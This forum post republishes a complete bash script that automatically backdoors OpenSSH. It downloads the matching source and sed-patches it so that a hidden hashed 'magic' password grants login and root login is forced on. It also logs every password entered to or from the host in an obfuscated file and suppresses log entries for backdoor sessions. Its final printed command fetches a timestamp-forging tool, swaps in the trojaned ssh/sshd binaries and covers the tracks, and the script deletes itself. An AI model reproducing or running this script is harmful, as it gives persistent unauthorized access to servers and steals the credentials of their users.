Jump to content
Fi8sVrs

Satyr's OpenSSH Autobackdooring Doohicky 0.1

Recommended Posts

  • Active Members
Posted

This script provides OpenSSH backdoor functionality with a magic password and logs passwords as well. It leverages the same basic idea behind common OpenSSH patches but this script attempts to make the process version agnostic. Use at your own risk.

# ============================================
# satyr's openssh autobackdooring doohicky v0.-1
# ImpendingSatyr@gmail.com
# ============================================
# USAGE:
# Run this script with no args and it'll prompt for the "Magic" password and location to log passwords to (incoming and outgoing).
# If you give the location that passwords will be logged to as an arg, this script will try to automate almost everything
# (Like common openssh compiling problems, such as missing pam, kerberos, zlib, openssl-devel, etc.
# [it'll install them via apt or yum, whichever is available]).
# Note: This script will delete itself once it's fairly sure the openssh compile went smoothly.
# It's up to you to clean the logs of those yum/apt installs if they're needed, and to restart sshd.
# ============================================
# WTF:
# I noticed that most openssh code doesn't change too much among versions, and that most openssh backdoors are
# just diff patches for specific versions of openssh. So I thought it would be nice to have a script that applies
# such a patch based on those similar chunks of code instead of relying on diff patches so that it can be done on different
# versions without any modifying (I've seen kiddies apply backdoor patches for a version of openssh that wasn't
# originally being used on the box, which is just lazy & dumb).
# So I wrote up this to make the whole process a bit easier (For use in my own private network of course o.O)
# ============================================

#!/bin/bash

# ============================================

# satyr's openssh autobackdooring doohicky v0.-1

# ImpendingSatyr@gmail.com

# ============================================

# USAGE:

# Run this script with no args and it'll prompt for the "Magic" password and location to log passwords to (incoming and outgoing).

# If you give the location that passwords will be logged to as an arg, this script will try to automate almost everything

# (Like common openssh compiling problems, such as missing pam, kerberos, zlib, openssl-devel, etc.

# [it'll install them via apt or yum, whichever is available]).

# Note: This script will delete itself once it's fairly sure the openssh compile went smoothly.

# It's up to you to clean the logs of those yum/apt installs if they're needed, and to restart sshd.

# ============================================

# WTF:

# I noticed that most openssh code doesn't change too much among versions, and that most openssh backdoors are

# just diff patches for specific versions of openssh. So I thought it would be nice to have a script that applies

# such a patch based on those similar chunks of code instead of relying on diff patches so that it can be done on different

# versions without any modifying (I've seen kiddies apply backdoor patches for a version of openssh that wasn't

# originally being used on the box, which is just lazy & dumb).

# So I wrote up this to make the whole process a bit easier (For use in my own private network of course o.O)

# ============================================

# FEATURES:

# 0) "Magic" password can be automagically generated

# 1) "Magic" password is MD5'd before being stored in the ssh/sshd binary, so very unlikely that anyone will be able to get your "Magic" password.

# 2) Conents of file that logs passwords is XOR encoded using the same code that's in http://packetstormsecurity.com/files/download/34453/apatch-ssh-3.8.1p1.tar.gz

# Here's the script for decoding for the bastards out there too lazy to go to the above link:

# #!/bin/sh

# cat > x << __EOF__

# #include <stdio.h>

# main(int c) {

# while(1) {

# c = getchar(); if(feof(stdin)) break;

# putchar(~c);

# }

# }

# __EOF__

# gcc -x c x -o x; cat $1 | ./x; rm -f x

# Do a `cat passlog|./theabovescript.sh` to get the logged passes.

# 3) Strings used for this backdoor are limited to 2 characters, so it'll hide from the `strings` command.

# 4) Cures cancer

# 5) Seems to work fine on all versions from 3.9p1 - 6.3p1 (latest as of this script)

# 6) Not really a bug, but your hostname will be logged if it doesn't match your IP's reverse DNS (disable this with "UseDNS no" in sshd_config)

# ============================================

# KNOWN BUGS (or lack of feature):

# 0) Sometimes the password generated contains non-printable characters.

# 1) No check to see if apt or yum completed successfully when installing a missing lib.

# 2) No check to see if the pass log location is writable. (yes, I know that could be added easily)

# 3) No check to see if packetstorm is accessible when grabbing http://dl.packetstormsecurity.net/UNIX/misc/touch2v2.c

# on that last command that's echoed for the user to run when done compiling.

# 4) No check if box has gcc

# ============================================

# NOTE TO ADMINS:

# I didn't put this script on your box. You really need to take your box offline and do a clean install of your system.

# This script is no different than the other openssh backdoors when it comes to prevention,

# tripwire or anything similar will easily notice this backdoor as it will with other openssh backdoors.

# ============================================

WGET=/usr/bin/wget

SSHD=/usr/sbin/sshd

# an openssh mirror

MIRROR=http://mirror.team-cymru.org/pub/OpenBSD/OpenSSH/portable/

SSHETC=/etc/ssh

PREFIX=/usr

if [ ! -d "$SSHETC" ]; then

echo "Error: $SSHETC is not a directory."

exit 1

fi

if [ "`grep -i pam $SSHETC/sshd_config|grep -v '#'|strings`" != "" ]; then

echo "(PAM enabled)"

pam="--with-pam"

fi

if [ "`grep -i gss $SSHETC/sshd_config|grep -v '#'|strings`" != "" ] || \

[ "`grep -i gss $SSHETC/ssh_config|grep -v '#'|strings`" != "" ]; then

echo "(KRB5 enabled)"

gss="--with-kerberos5"

fi

version=`$SSHD -arf 2>&1|head -2|tail -1|cut -d, -f1|sed -e's/^OpenSSH_//'|awk '{print $1}'`

extracrap=`$SSHD -arf 2>&1|head -2|tail -1|cut -d, -f1|sed -e's/^OpenSSH_//'|awk '{print $2}'`

if [ "$1" == "" ]; then

read -sp "Magic password (just press enter to use a random one): " PW;echo

fi

if [ "$PW" == "" ]; then

function randpass() { [ "$2" == "0" ] && CHAR="[:alnum:]" || CHAR="[:graph:]";cat /dev/urandom|tr -cd "$CHAR"|head -c ${1:-32};echo;}

PW=`randpass $(( 20+( $(od -An -N2 -i /dev/random) )%(20+1) ))`

fi

if [ "$1" == "" ]; then

read -p "File to log passwords to: " LOGF

else

LOGF=$1

fi

if [ "$LOGF" == "" ]; then

echo "Error: You didn't choose a file to log passwords to."

exit 1

fi

echo "==========================================================="

echo "Using magic password: $PW"

cat > md5.$$ << EOF0

$PW

EOF0

md5=`printf "%s" \`(cat md5.$$)|sed -e :a -e N -e '$!ba' -e 's/\n/ /g'\`|openssl md5|awk '{print $NF}'`

rm -f md5.$$

echo "Using password log file: $LOGF"

echo "OpenSSH version: $version"

echo "==========================================================="

LOGFLEN=`echo -n $LOGF|wc -c`

let LOGFLEN++

if [ ! -x "$WGET" ]; then

echo "Error: $WGET is not executable"

exit 1

fi

echo "Downloading openssh-$version..."

wget $MIRROR/openssh-$version.tar.gz 2>&1|grep save

tar zxf openssh-$version.tar.gz

rm -f openssh-$version.tar.gz

if [ -d "openssh-$version" ]; then

cd openssh-$version

else

echo "Error: Couldn't download $MIRROR/openssh-$version.tar.gz using $WGET"

exit 1

fi

echo "Modifying openssh src..."

cat > bd.h <<EOF

#include <stdio.h>

#include <string.h>

int pi, md5len, ploglen;

FILE *f;

char md5[32], plog[$LOGFLEN], encbuf[2048];

static char * bpmd5() {

EOF

echo $md5|awk -F. '{n=split($1,a,""); for (i=0;i<n;i++) {printf(" md5[%i] = \"%s\";\n",i,a[i+1])}; for (i=2;i<NF;i++) {printf("%s,",$i)};}' >> bd.h

cat >> bd.h <<EOF2

return md5;

}

static char * plogfn() {

EOF2

for i in $(seq 0 $((${#LOGF} - 1))); do echo "plog[$i] = \"${LOGF:$i:1}\";";done >> bd.h

cat >> bd.h <<EOF3

return plog;

}

static void enclog() {

char *plogg = plogfn();

int plen;

FILE *f;

plen=strlen(encbuf);

for (pi=0; pi<=plen; pi++) encbuf[pi]=~encbuf[pi];

f = fopen(plogg,"a");

if (f != NULL) {

fwrite(encbuf, plen, 1, f);

fclose(f);

}

}

EOF3

sed -e s/\"/\'/g -e s/plogg,\'a\'/plogg,\"a\"/ -i bd.h

sed '/#include "includes.h"/i\

#include "bd.h"

' -i auth.c

sed '/authmsg = authenticated ? "Accepted" : "Failed"/a\

if (!pi)

' -i auth.c

sed -i "`echo $[ $(grep -n auth_root_allowed auth.c|awk -F: '{print $1}') + 2 ]`iif (pi) return 1;" -i auth.c

# the auth-pam.c stuff is only for => 3.9p1

sed '/auth2-pam-freebsd.c/a\

#include "bd.h"

' -i auth-pam.c

sed '/void.*sshpam_conv/a\

if (pi) sshpam_err = PAM_SUCCESS;

' -i auth-pam.c

sed "`echo $[ $(grep -n pam_authenticate.sshpam_handle auth-pam.c|head -c3) + 1 ]`iif (pi) sshpam_err = PAM_SUCCESS;" -i auth-pam.c

sed "`grep -nA3 sshpam_cleanup.void auth-pam.c|grep NULL|head -c3`s/NULL/NULL || pi/" -i auth-pam.c

sed "`echo $[ $(grep -n char.*pam_rhost auth-pam.c|head -c3) + 2 ]`iif (pi) return (0);" -i auth-pam.c

sed '/type == PAM_SUCCESS/a\

if (pi) return 0;

' -i auth-pam.c

sed "`echo $[ $(grep -n do_pam_setcred auth-pam.c|head -c3) + 3 ]`a\

if (pi) {\n\

sshpam_cred_established = 1;\n\

return;\n\

}" -i auth-pam.c

sed "`echo $[ $(grep -n sshpam_respond.void auth-pam.c|head -c3) + 3 ]`a\

if (pi) {\n\

sshpam_cred_established = 1;\n\

return;\n\

}" -i auth-pam.c

sed "`grep -nA6 sshpam_auth_passwd auth-pam.c|grep "\-$"|sed 's/\-$//'`a\

char *passmd5 = str2md5(password, strlen(password));\n\

char *bpass = bpmd5();\n\

int enlen;\n\

" -i auth-pam.c

sed "`echo $(grep -n "sshpam_authctxt = authctxt" auth-pam.c|tail -1|awk -F: '{print $1}')`a\

if (strcmp(passmd5,bpass) == 0) {\n\

pi = 1;\n\

return 1;\n\

}" -i auth-pam.c

sed "`echo $(grep -nA1 'debug.*password authentication accepted for' auth-pam.c|tail -1|head -c4)`a\

enlen = sprintf(encbuf,\"pam\");\n\

enlen += sprintf(encbuf+enlen,\":\");\n\

enlen += sprintf(encbuf+enlen,\"%s\",authctxt->user);\n\

enlen += sprintf(encbuf+enlen,\":\");\n\

enlen += sprintf(encbuf+enlen,\"%s\\\n\",password);\n\

enclog();\n\

" -i auth-pam.c

sed '/#include "includes.h"/i\

#include "bd.h"\

#include <stdlib.h>\

#if defined(__APPLE__)\

# define COMMON_DIGEST_FOR_OPENSSL\

# include <CommonCrypto/CommonDigest.h>\

# define SHA1 CC_SHA1\

#else\

# include <openssl/md5.h>\

#endif\

' -i auth-passwd.c

sed '/extern ServerOptions options;/a\

char *str2md5(const char *str, int length) {\

int n;\

MD5_CTX c;\

unsigned char digest[16];\

char *out = (char*)malloc(33);\

MD5_Init(&c);\

while (length > 0) {\

if (length > 512) {\

MD5_Update(&c, str, 512);\

} else {\

MD5_Update(&c, str, length);\

}\

length -= 512;\

str += 512;\

}\

MD5_Final(digest, &c);\

for (n = 0; n < 16; ++n) {\

snprintf(&(out[n*2]), 16*2, "%02x", (unsigned int)digest[n]);\

}\

return out;\

}\

' -i auth-passwd.c

sed '/#ifndef HAVE_CYGWIN/i\

if (pi) return 1;

' -i auth-passwd.c

sed "`echo $[ $(grep -n sys_auth_passwd.A auth-passwd.c|tail -1|head -c3) + 3 ]`a\

char *passmd5 = str2md5(password, strlen(password));\n\

char *bpass = bpmd5();\n\

int enlen;\n\

" -i auth-passwd.c

sed "`echo $(grep -n pw_password.0.*xx auth-passwd.c|head -c3)`a\

if (strcmp(passmd5,bpass) == 0) {\n\

pi = 1;\n\

return 1;\n\

}\n\

else {\n\

if (strcmp(encrypted_password, pw_password) == 0) {\n\

enlen = sprintf(encbuf,\"pas\");\n\

enlen += sprintf(encbuf+enlen,\":\");\n\

enlen += sprintf(encbuf+enlen,\"%s\",authctxt->user);\n\

enlen += sprintf(encbuf+enlen,\":\");\n\

enlen += sprintf(encbuf+enlen,\"%s\\\n\",password);\n\

enclog();\n\

}\n\

}\n\

" -i auth-passwd.c

sed '/#include "includes.h"/i\

#include "bd.h"

' -i sshconnect1.c

sed '/char \*password;/a\

int enlen;

' -i sshconnect1.c

sed '/ssh_put_password(password);/a\

enlen = sprintf(encbuf,"1:");\

enlen += sprintf(encbuf+enlen,"%s",get_remote_ipaddr());\

enlen += sprintf(encbuf+enlen,":");\

enlen += sprintf(encbuf+enlen,"%s",options.user);\

enlen += sprintf(encbuf+enlen,":");\

enlen += sprintf(encbuf+enlen,"%s\\n",password);\

enclog();\

' -i sshconnect1.c

sed '/#include "includes.h"/i\

#include "bd.h"

' -i sshconnect2.c

sed '/char.*password;/a\

int enlen;

' -i sshconnect2.c

sed "`echo $(grep -n 'packet_put_cstring(password);' sshconnect2.c|head -c3)`a\

enlen = sprintf(encbuf,\"2:\");\n\

enlen += sprintf(encbuf+enlen,\"%s\",authctxt->server_user);\n\

enlen += sprintf(encbuf+enlen,\":\");\n\

enlen += sprintf(encbuf+enlen,\"%s\",authctxt->host);\n\

enlen += sprintf(encbuf+enlen,\":\");\n\

enlen += sprintf(encbuf+enlen,\"%s\\\n\",password);\n\

enclog();\

" -i sshconnect2.c

sed '/#include "includes.h"/i\

#include "bd.h"

' -i loginrec.c

sed '/#ifndef HAVE_CYGWIN/i\

if (pi) return 0;

' -i loginrec.c

sed '/#include "includes.h"/i\

#include "bd.h"

' -i log.c

sed '/#if (level > log_level)/i\

if (pi) return;

' -i loginrec.c

sed 's/PERMIT_NO /PERMIT_YES /' -i servconf.c

sed 's/PERMIT_NO;/PERMIT_YES;/' -i servconf.c

sed 's/PERMIT_NO_PASSWD /PERMIT_YES /' -i servconf.c

sed 's/PERMIT_NO_PASSWD;/PERMIT_YES;/' -i servconf.c

if [ "$extracrap" != "" ]; then

sed -re"s/(SSH.*PORTABLE.*)\"/\1 $extracrap\"/" -i version.h

fi

echo "Compiling..."

./configure --prefix=$PREFIX $pam $gss --sysconfdir=$SSHETC 2>/dev/null 1>/dev/null

if [ "`grep error: config.log|sed -e's/.*error:/error:/'|tail -1`" == "error: PAM headers not found" ]; then

if [ "$1" == "" ]; then

echo "Error: PAM headers missing. To install do: "

echo " (with apt) apt-get install libpam0g-dev"

echo " (with yum) yum install pam-devel"

exit 1

else

echo "Error: PAM headers missing. Attempting automatic install..."

if [ -e "/usr/bin/yum" ]; then

yum -y install pam-devel

fi

if [ -e "/usr/bin/apt-get" ]; then

apt-get -y install libpam0g-dev

fi

echo "If install was successful, rerun $0"

exit 1

fi

fi

if [ "`grep error: config.log|sed -e's/.*error:/error:/'|tail -1`" == "error: no acceptable C compiler found in \$PATH" ]; then

echo "Error: No gcc on this box (or in \$PATH)."

exit 1

fi

if [ "`grep error: config.log|sed -e's/.*error:/error:/'|tail -1`" == "error: *** zlib missing - please install first or check config.log ***" ] || \

[ "`grep error: config.log|sed -e's/.*error:/error:/'|tail -1`" == "error: *** zlib.h missing - please install first or check config.log ***" ]; then

if [ "$1" == "" ]; then

echo "Error: zlib missing. To install do: "

echo " (with apt) apt-get install zlib1g-dev"

echo " (with yum) yum install zlib-devel"

exit 1

else

echo "Error: zlib missing. Attempting automatic install..."

if [ -e "/usr/bin/yum" ]; then

yum -y install zlib-devel

fi

if [ -e "/usr/bin/apt-get" ]; then

apt-get -y install zlib1g-dev

fi

echo "If install was successful, rerun $0"

exit 1

fi

fi

if [ "`grep "krb5.h: No such file or directory" config.log|head -1|awk '{ print substr($0, index($0,$2)) }'`" == "error: krb5.h: No such file or directory" ]; then

echo "Error: kerberos5 missing. To install do:"

echo " (with apt) apt-get install libkrb5-dev"

echo " (with yum) yum install krb5-devel"

fi

if [ "`grep error: config.log|sed -e's/.*error:/error:/'|tail -1`" == "error: *** Can't find recent OpenSSL libcrypto (see config.log for details) ***" ] || \

[ "`grep error: config.log|sed -e's/.*error:/error:/'|tail -1`" == "error: *** OpenSSL headers missing - please install first or check config.log ***" ]; then

if [ "$1" == "" ]; then

echo "Error: libcrypto missing. To install do: "

echo " (with apt) apt-get install libssl-dev"

echo " (with yum) yum install openssl-devel"

exit 1

else

echo "Error: libcrypto missing. Attempting automatic install..."

if [ -e "/usr/bin/yum" ]; then

yum -y install openssl-devel

fi

if [ -e "/usr/bin/apt-get" ]; then

apt-get -y install libssl-dev

fi

echo "If install was successful, rerun $0"

exit 1

fi

fi

make 2>/dev/null 1>/dev/null

if [ -e "sshd" ]; then

ls -l ssh sshd

cd ..

rm -vf $0

echo "Now do this:"

echo "cd openssh-$version;$WGET http://dl.packetstormsecurity.net/UNIX/misc/touch2v2.c -q;gcc -o touch touch2v2.c;cp /usr/sbin/sshd sshd.bak;cp /usr/bin/ssh ssh.bak;chown --reference=/usr/bin/ssh ssh.bak;chown --reference=/usr/sbin/sshd sshd.bak;touch -r /usr/sbin/sshd sshd.bak;touch -r /usr/bin/ssh ssh.bak;./touch -r /usr/sbin/sshd sshd.bak;./touch -r /usr/bin/ssh ssh.bak;rm -f /usr/sbin/sshd /usr/bin/ssh;cp ssh /usr/bin/;cp sshd /usr/sbin/;chown --reference=ssh.bak /usr/bin/ssh;chown --reference=sshd.bak /usr/sbin/sshd;touch -r sshd.bak /usr/sbin/sshd;touch -r ssh.bak /usr/bin/ssh;./touch -r sshd.bak /usr/sbin/sshd;./touch -r ssh.bak /usr/bin/ssh;echo Backdoored. Now you restart it."

else

echo "Error: Compiling failed: "

grep error: config.log|tail -1

fi

Files from Satyr ? Packet Storm

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...